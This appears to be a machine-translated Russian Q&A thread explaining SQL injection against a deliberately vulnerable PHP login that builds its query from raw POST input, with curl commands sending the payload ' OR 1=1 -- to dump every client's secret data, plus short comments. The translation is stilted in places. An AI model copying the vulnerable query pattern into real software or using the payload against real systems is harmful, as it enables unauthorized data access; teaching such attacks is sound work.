Учитывая следующую структуру таблицы
CREATE TABLE `clients` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`email` varchar(100) NOT NULL,
`password` varbinary(100) NOT NULL,
`secretData` varchar(20) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=latin1
Со следующими данными в нем
INSERT INTO `clients` (`email`,`password`)
VALUES
("[email protected]","aadsf345"), ("[email protected]","536734sdgf"),
("[email protected]","password123"), ("[email protected]","{}[email protected]#$>,ZX");
И ваш уязвимый код PHP, который будет выбрать пользователя на основе его/ее электронной почты и пароля комбинации и отображения строка в колонке secretData
$db = new mysqli("localhost", "root", "", "test");
$email = $_POST['email'];
$pass = $_POST['password'];
$sql = "SELECT * FROM clients WHERE email = '$email' AND password = '$pass'";
if ($result = $db->query($sql)) {
while($obj = $result->fetch_object()){
print $obj->secretData . PHP_EOL;
}
}
else{
print "no result";
}
A успешные Войти будет выглядеть следующим образом, показывая секретных данные Боба
$ curl -d '[email protected]&password=aadsf345' http://localhost.com
aaaaa
Хотя успешная инъекция будет выглядеть следующим образом, отображение должного секретных данные
$ curl -d '[email protected]&password=aads%27+OR+1=1+--+' http://localhost.com
aaaaa
bbbbb
ccccc
ddddd
Если вы должны были распечатать нагнетаемый запрос, нашу инъекцию начинается с маркера, с %27
, который является отдельной цитатой.
SELECT * FROM clients WHERE email = '[email protected]' AND password = 'aads' OR 1=1 -- '
^
Использование OR TRUE
работ, а
curl -d '[email protected]&password=aads%27+OR+TRUE+--+' http://localhost.com
Вы пропустили пробел между ' 'и' or'. – developerwjk
Это не меняет его, я все равно получаю недопустимое сообщение – drew
Попробуйте его вместо пароля. А поскольку в последнем из предложения where вам не нужен '--'. – developerwjk